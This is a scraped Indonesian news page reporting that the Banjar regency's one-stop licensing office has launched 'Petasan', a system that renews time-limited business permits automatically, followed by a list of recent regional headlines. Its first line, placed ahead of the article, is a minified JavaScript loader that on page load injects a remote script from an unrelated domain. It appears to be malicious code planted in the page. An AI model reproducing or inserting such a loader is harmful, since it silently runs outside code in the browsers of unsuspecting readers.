(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Streaming

Ada ‘Petasan’ di Dinas Penanaman Modal dan Pelayanan Perizinan Terpadu Satu Pintu Banjar


MARTAPURA, Dinas Penanam Modal dan Pelayanan Perizinan Terpadu Satu Pintu (DPMPTSP) Kabupaten Banjar merilis sistem baru bidang pelayanan perijinan, Kamis (19/10).

‘Petasan’, begitu sistem anyar yang digadang-gadang akan mempermudah perijinan bagi para pelaku usaha ini dinamai. Bukan petasan dalam arti sebenarnya, ‘Petasan’ di DPMPTSP Kabupaten Banjar adalah akronim dari ‘Perizinan Tanpa Persyaratan’.

Disampaikan A H Fahri, Kepala DPMPTSP Kabupaten Banjar saat launching yang dihadiri Bupati Banjar H Khalilurrahman di pelataran Kantor DPMPTSP, ‘Petasan’ merupakan inovasi yang sengaja diciptakan untuk mempermudah proses pengurusan perpanjangan izin berjenjang.

“Untuk jenis izin berjangka dan sudah jatuh tempo, akan otomatis diperpanjang. Dengan begitu tak ada alasan lagi bagi pelaku usaha untuk tidak memperpanjang izin usahanya,” kata Fahri.

Tak hanya itu, ujar Fahri, berkas izin yang sudah otomatis diperpanjang, akan diantar langsung ke alamat pemohon menggunakan jasa perusahaan penyedia jasa pengiriman. Utamanya pemohon izin yang beralamat di sekitar Kabupaten Banjar, Banjarbaru, dan Banjarmasin.

Dengan ‘Petasan’ pula, Fahri optimis pendapatan asli daerah (PAD) perizinan dapat ditingkatkan hingga 150 persen. Karena dari 59 jenis perizinan yang dilayani di Kantor DPMPTSP, 42 di antarnya jenis perizinan berjenjang.

“Target PAD dari layanan perizinan tahun ini sebesar Rp200 juta. Dengan penerapan ‘Petasan’, tahun depan kami optimis target PAD  yang direalisasi mencapai 150 persen,” kata Fahri.

Sementara itu, Bupati Banjar H Khalilurrahman mengantakan, setiap warga negara berhak mendapat pelayanan dari pemerintah. Tak terkecuali para pelaku usaha. ‘Petasan’, salah satu upaya Pemerintah Kabupaten Banjar melalui DPMPTSP memberikan pelayanan bagi pelaku usaha.

“Pelayanan perizinan salah satu pelayanan publik yang harus diberikan perintah. Dan dalam pemerintahan Presiden Joko Widodo, pelayanan publik menjadi agenda penting. Presiden bahkan mengharuskan pelayanan perizinan paling lambat rampung sepekan,” kata H Khalilurrahman. (rudiyanto/adv)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.